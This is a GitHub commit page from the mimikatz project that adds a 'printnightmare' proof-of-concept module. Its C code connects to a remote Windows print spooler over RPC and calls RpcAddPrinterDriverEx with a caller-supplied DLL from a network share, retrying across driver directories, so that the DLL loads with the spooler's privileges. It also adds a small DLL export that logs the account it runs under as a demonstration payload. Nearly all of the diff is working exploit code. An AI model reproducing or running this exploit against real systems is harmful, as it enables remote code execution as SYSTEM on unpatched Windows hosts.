Commit

[new] mimikatz misc::printnightmare little POC

Browse files

Loading branch information

gentilkiwi committed on Jul 1, 2021 1 parent 6a3e432 commit c212760

Showing **10 changed files** with **439 additions** and **30 deletions**.

Whitespace Ignore whitespace Split Unified

Filter changed files

- mimikatz/modules
  - kuhl_m_misc.c
  - kuhl_m_misc.h
- mimilib
  - kspool.c
  - kspool.h
  - mimilib.def

185 mimikatz/modules/kuhl_m_misc.c

```
@@ -28,6 +28,7 @@ const KUHL_M_C kuhl_m_c_misc[] = {
28    28          {kuhl_m_misc_aadcookie, L"aadcookie", NULL},
29    29          {kuhl_m_misc_aadcookie_NgcSignWithSymmetricPopKey, L"ngcsign",     NULL},
30    30          {kuhl_m_misc_spooler,    L"spooler", NULL},
      31 +        {kuhl_m_misc_printnightmare, L"printnightmare",            NULL},
31    32          {kuhl_m_misc_sccm_accounts,     L"sccm", NULL},
32    33  };
33    34  const KUHL_M kuhl_m_misc = {
@@ -1394,13 +1395,197 @@ NTSTATUS kuhl_m_misc_spooler(int argc, wchar_t * argv[])
1394  1395                        }
1395  1396                }
```

```
 				else PRINT_ERROR(L"missing /connect argument to specify notifications target");
+		}
+		else PRINT_ERROR(L"missing /server argument to specify spooler server");
+
+		return STATUS_SUCCESS;
+ }
 
+ NTSTATUS kuhl_m_misc_printnightmare(int argc, wchar_t * argv[])
+ {
+		LPCWSTR szRemote, szLibrary, szTry, szShortLibrary;
+		LPWSTR szSystem32, szDriver, szKernelBase, szDriverPath;
+		DRIVER_INFO_2 DriverInfo = {3, L"QMS 810",
+ #if defined(_M_X64) || defined(_M_ARM64)
+		L"Windows x64"
+ #elif defined(_M_IX86)
+		L"Windows x86"
+ #endif
+		, NULL, NULL, NULL};
+		DWORD limit, i;
+
+		if(kull_m_string_args_byName(argc, argv, L"server", &szRemote, NULL) || kull_m_string_args_byName(argc, argv, L"target", &szRemote, NULL))
+		{
+				if(kull_m_string_args_byName(argc, argv, L"library", &szLibrary, NULL))
+				{
+						szShortLibrary = wcsrchr(szLibrary, L'\\');
+						if(szShortLibrary && *(szShortLibrary + 1))
+						{
+								szShortLibrary++;
+								kprintf(L"| Remote   : %s\n", szRemote);
+
if(kull_m_rpc_createBinding(NULL, L"ncacn_np", szRemote, L"\\pipe\\spoolss", L"spooler", TRUE,
RPC_C_AUTHN_DEFAULT, NULL,
RPC_C_IMP_LEVEL_DELEGATE, &hSpoolHandle, NULL))
+                                 {
+
if(kuhl_m_misc_printnightmare_CallEnumPrintersAndFi
ndSuitablePath(DriverInfo.pEnvironment,
&szSystem32, &szDriver))
+                                         {
+
if(kull_m_string_sprintf(&szKernelBase,
L"%skernelbase.dll", szSystem32))
+                                                 {
+
kprintf(L"* KernelBase: %s\n", szKernelBase);
+
if(kull_m_string_sprintf(&szDriverPath,
L"%sunidrv.dll", szDriver))
+
{
+
DriverInfo.pDriverPath = szDriverPath;
+
DriverInfo.pDataFile = (LPWSTR) szLibrary;
+
kprintf(L"* DriverPath: %s\n",
DriverInfo.pDriverPath);
+
kprintf(L"| DataFile   : %s (%s)\n",
DriverInfo.pDataFile, szShortLibrary);
+
if(kuhl_m_misc_printnightmare_CallAddPrinterDriverE
x(szSystem32, &DriverInfo, 0, szKernelBase) ==
ERROR_SUCCESS)
+
{
+
if(kuhl_m_misc_printnightmare_CallAddPrinterDriverE
x(szSystem32, &DriverInfo, 0, szKernelBase) ==
ERROR_SUCCESS)
+
{
+
if(kuhl_m_misc_printnightmare_CallAddPrinterDriverE
x(szSystem32, &DriverInfo, 2, szShortLibrary) !=
ERROR_SUCCESS)
+ {
+ if(kull_m_string_args_byName(argc, argv, L"try", &szTry, NULL))
+ {
+ limit = wcstoul(szTry, NULL, 0);
+ kprintf(L" | Trying    : 3 to %u\n", limit);
+ for(i = 3; i <= limit; i++)
+ {
+ if(kuhl_m_misc_printnightmare_CallAddPrinterDriverEx(szSystem32, &DriverInfo, i, szShortLibrary) == ERROR_SUCCESS)
+ {
+ break;
+ }
+ }
+ }
+ }
+ }
+ }
+ LocalFree(szDriverPath);
+ }
+ LocalFree(szKernelBase);
+                                                       }
+ LocalFree(szSystem32);
```

```diff
+                                                LocalFree(szDriver);
+                                        }
+                                        kull_m_rpc_deleteBinding(&hSpoolHandle);
+                                }
+                        }
+                        else PRINT_ERROR(L"Unable to get short library name from library path (%s)\n", szLibrary);
+                }
+                else PRINT_ERROR(L"missing /library argument to specify anonymous share");
         }
         else PRINT_ERROR(L"missing /server argument to specify spooler server");
 
         return STATUS_SUCCESS;
 }
 
+BOOL kuhl_m_misc_printnightmare_CallEnumPrintersAndFindSuitablePath(LPCWSTR szEnvironment, LPWSTR *szSystem32, LPWSTR *szDriver)
+{
+        BOOL status = FALSE;
+        DWORD ret, i, cbNeeded = 0, cReturned = 0;
+        _PDRIVER_INFO_2 pDriverInfo;
+        LPWSTR pDriverPath, ptrSys, ptrDrv;
+
+        if(szSystem32 && szDriver)
+        {
+                RpcTryExcept
+                {
+                        ret = RpcEnumPrinterDrivers(NULL, (wchar_t *) szEnvironment, 2, NULL, 0, &cbNeeded, &cReturned);
+                        if(ret == ERROR_INSUFFICIENT_BUFFER)
+                        {
+                                pDriverInfo = (_PDRIVER_INFO_2) LocalAlloc(LPTR, cbNeeded);
+                                if(pDriverInfo)
+                                {
```

```
+                                           ret = 
  RpcEnumPrinterDrivers(NULL, (wchar_t *)
  szEnvironment, 2, (BYTE *) pDriverInfo, cbNeeded,
  &cbNeeded, &cReturned);
+                                           if(ret ==
  ERROR_SUCCESS)
+                                           {
+
  for(i = 0; (i < cReturned) && !status; i++)
+                                                   {
+
  pDriverPath = (PWSTR)
  (pDriverInfo[i].DriverPathOffset ? (PBYTE)
  &pDriverInfo[i] + pDriverInfo[i].DriverPathOffset :
  NULL);
+
  if(pDriverPath)
+
  {
+
  ptrSys = StrStrI(pDriverPath,
  L"system32\\driverstore\\filerepository\\ntprint.in
  f_");
+
  if(ptrSys)
+
  {
+
  ptrDrv = wcsrchr(pDriverPath, L'\\');
+
  if(ptrDrv && *(ptrDrv + 1))
+
  {
+
  *(ptrDrv + 1) = L'\0';
+
  if(kull_m_string_copy(szDriver, pDriverPath))
+
  {
+
  *(ptrSys + 9) = L'\0';
+
  status = kull_m_string_copy(szSystem32,
  pDriverPath);
+ if(!status)
+ {
+ LocalFree(*szDriver);
+ }
+ }
+ }
+ }
+ }
+                                                   }
+                                               }
+                                               else PRINT_ERROR(L"RpcEnumPrinterDrivers(data): %u\n", ret);
+ LocalFree(pDriverInfo);
+                                       }
+                               }
+                               else PRINT_ERROR(L"RpcEnumPrinterDrivers(init): %u\n", ret);
+                       }
+                       RpcExcept(RPC_EXCEPTION)
+                               PRINT_ERROR(L"RPC Exception: 0x%08x (%u)\n", RpcExceptionCode(), RpcExceptionCode());
+                       RpcEndExcept
+               }
+               return status;
+ }
+
+ DWORD kuhl_m_misc_printnightmare_CallAddPrinterDriverEx(LPCWSTR szSystem32, PDRIVER_INFO_2 pInfo2, DWORD dwStep, LPCWSTR pConfigFile)
+ {
+               DWORD ret;
+               DRIVER_CONTAINER container_info;
```

```
+		LPWSTR szConfig = NULL;
+
+		container_info.Level = 2;
+		container_info.DriverInfo.Level2 = pInfo2;
+		if(dwStep)
+		{
+			if(kull_m_string_sprintf(&szConfig, L"%sspool\\drivers\\%s\\3\\old\\%u\\%s", szSystem32,
+ #if defined(_M_ARM64)
+				L"ARM64"
+ #elif defined(_M_X64)
+				L"x64"
+ #elif defined(_M_IX86)
+				L"W32X86"
+ #endif
+				, dwStep, pConfigFile))
+			{
+				pInfo2->pConfigFile = szConfig;
+			}
+			else pInfo2->pConfigFile = NULL;
+		}
+		else
+		{
+			pInfo2->pConfigFile = (LPWSTR)pConfigFile;
+		}
+
+		kprintf(L"> ConfigFile: %s - ", pInfo2->pConfigFile);
+		RpcTryExcept
+		{
+			ret = RpcAddPrinterDriverEx(NULL, &container_info, APD_COPY_ALL_FILES | APD_COPY_FROM_DIRECTORY | 0x8000); // APD_INSTALL_WARNED_DRIVER
+			if (ret == ERROR_SUCCESS)
+			{
+				kprintf(L"OK!\n");
+			}
+			else PRINT_ERROR(L"%u\n", ret);
+		}
+		RpcExcept(RPC_EXCEPTION)
```

```
+                       PRINT_ERROR(L"RPC Exception: 0x%08x (%u)\n", RpcExceptionCode(), RpcExceptionCode());
+               RpcEndExcept
+
+               if(szConfig)
+               {
+                       LocalFree(szConfig);
+               }
+
+               return ret;
+ }
+
  typedef struct _SCCM_ENCRYPTED_HEADER {
          DWORD cbKey;
          DWORD cbDecrypted;
```

4 mimikatz/modules/kuhl_m_misc.h

```
@@ -44,8 +44,12 @@ NTSTATUS kuhl_m_misc_xor(int argc, wchar_t * argv[]);
  NTSTATUS kuhl_m_misc_aadcookie(int argc, wchar_t * argv[]);
  NTSTATUS kuhl_m_misc_aadcookie_NgcSignWithSymmetricPopKey(int argc, wchar_t * argv[]);
  NTSTATUS kuhl_m_misc_spooler(int argc, wchar_t * argv[]);
+ NTSTATUS kuhl_m_misc_printnightmare(int argc, wchar_t * argv[]);
  NTSTATUS kuhl_m_misc_sccm_accounts(int argc, wchar_t * argv[]);

+ BOOL kuhl_m_misc_printnightmare_CallEnumPrintersAndFindSuitablePath(LPCWSTR szEnvironment, LPWSTR *szSystem32, LPWSTR *szDriver);
+ DWORD kuhl_m_misc_printnightmare_CallAddPrinterDriverEx(LPCWSTR szSystem32, PDRIVER_INFO_2 pInfo2, DWORD dwStep, LPCWSTR pConfigFile);
+
  BOOL CALLBACK kuhl_m_misc_detours_callback_process(PSYSTEM_PROCES
S_INFORMATION pSystemProcessInformation, PVOID pvArg);
BOOL CALLBACK kuhl_m_misc_detours_callback_module(PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION pModuleInformation, PVOID pvArg);
BOOL CALLBACK kuhl_m_misc_detours_callback_module_exportedEntry(PKULL_M_PROCESS_EXPORTED_ENTRY pExportedEntryInformations, PVOID pvArg);
```

28 mimilib/kspool.c

```
@@ -0,0 +1,28 @@
+ /*	Benjamin DELPY `gentilkiwi`
+ 	https://blog.gentilkiwi.com
+ 	benjamin@gentilkiwi.com
+ 	Licence : https://creativecommons.org/licenses/by/4.0/
+ */
+ #include "kspool.h"
+ 
+ void kspool()
+ {
+ 	FILE * kspool_logfile;
+ 	WCHAR Buffer[256 + 1];
+ 	DWORD cbBuffer = ARRAYSIZE(Buffer);
+ 
+ #pragma warning(push)
+ #pragma warning(disable:4996)
+ 	if(kspool_logfile = _wfopen(L"kiwispool.log", L"a"))
+ #pragma warning(pop)
+ 	{
+ 		klog(kspool_logfile, L"Hello!\n");
+ 
+ 		if(GetUserName(Buffer, &cbBuffer))
+ 		{
+ 			klog(kspool_logfile, L"I\'m running with \'%s\' (and I like it)\n", Buffer);
+ 		}
+ 
+ 		fclose(kspool_logfile);
+ 	}
+ }
```

9 mimilib/kspool.h

```
@@ -0,0 +1,9 @@
+ /*      Benjamin DELPY `gentilkiwi`
+         https://blog.gentilkiwi.com
+         benjamin@gentilkiwi.com
+         Licence : https://creativecommons.org/licenses/by/4.0/
+ */
+ #pragma once
+ #include "utils.h"
+
+ void kspool();
```

2 mimilib/mimilib.def

```
@@ -25,5 +25,7 @@ EXPORTS
        NPLogonNotify                  = knp_NPLogonNotify
        NPGetCaps                      = knp_NPGetCaps

+       DrvResetConfigCache            = kspool
+
        DllGetClassObject       = kcredentialprovider_DllGetClassObject PRIVATE
        DllCanUnloadNow         = kcredentialprovider_DllCanUnloadNow PRIVATE
```

2 mimilib/mimilib.vcxproj

```
@@ -102,6 +102,7 @@
    <ClCompile Include="kdns.c" />
    <ClCompile Include="kfilt.c" />
    <ClCompile Include="knp.c" />
+   <ClCompile Include="kspool.c" />
    <ClCompile Include="kssp.c" />
    <ClCompile Include="ksub.c" />
    <ClCompile Include="kcredentialprovider.c" />
```

```
@@ -118,6 +119,7 @@
118 119       <ClInclude Include="kdns.h" />
119 120       <ClInclude Include="kfilt.h" />
120 121       <ClInclude Include="knp.h" />
    122 +     <ClInclude Include="kspool.h" />
121 123       <ClInclude Include="kssp.h" />
122 124       <ClInclude Include="ksub.h" />
123 125       <ClInclude Include="kcredentialprovider.h" />
```

2 mimilib/mimilib.vcxproj.filters

```
@@ -34,6 +34,7 @@
34  34        <ClCompile Include="ksub.c" />
35  35        <ClCompile Include="knp.c" />
36  36        <ClCompile Include="kcredentialprovider.c" />
    37 +      <ClCompile Include="kspool.c" />
37  38      </ItemGroup>
38  39      <ItemGroup>
39  40        <ClInclude Include="utils.h" />
@@ -62,6 +63,7 @@
62  63        <ClInclude Include="kdhcp.h" />
63  64        <ClInclude Include="ksub.h" />
64  65        <ClInclude Include="knp.h" />
    66 +      <ClInclude Include="kspool.h" />
65  67      </ItemGroup>
66  68      <ItemGroup>
67  69        <Filter Include="sekurlsadbg">
```

2 modules/rpc/kull_m_rpc.c

```
@@ -38,7 +38,7 @@ BOOL
kull_m_rpc_createBinding(LPCWSTR uuid, LPCWSTR
ProtSeq, LPCWSTR NetworkAddr
38  38          BOOL status = FALSE;
39  39          RPC_STATUS rpcStatus;
40  40          RPC_WSTR StringBinding = NULL;
41     -        RPC_SECURITY_QOS SecurityQOS =
{RPC_C_SECURITY_QOS_VERSION,
RPC_C_QOS_CAPABILITIES_MUTUAL_AUTH,
RPC_C_QOS_IDENTITY_STATIC, ImpersonationType};
```

```
    41 +         RPC_SECURITY_QOS SecurityQOS = {RPC_C_SECURITY_QOS_VERSION, RPC_C_QOS_CAPABILITIES_MUTUAL_AUTH | (ImpersonationType == RPC_C_IMP_LEVEL_DELEGATE) ? RPC_C_QOS_CAPABILITIES_IGNORE_DELEGATE_FAILURE : 0, RPC_C_QOS_IDENTITY_STATIC, ImpersonationType};
42  42           LPWSTR fullServer = NULL;
43  43 
44  44           *hBinding = NULL;
```

0 comments on commit `c212760`

Please sign in to comment.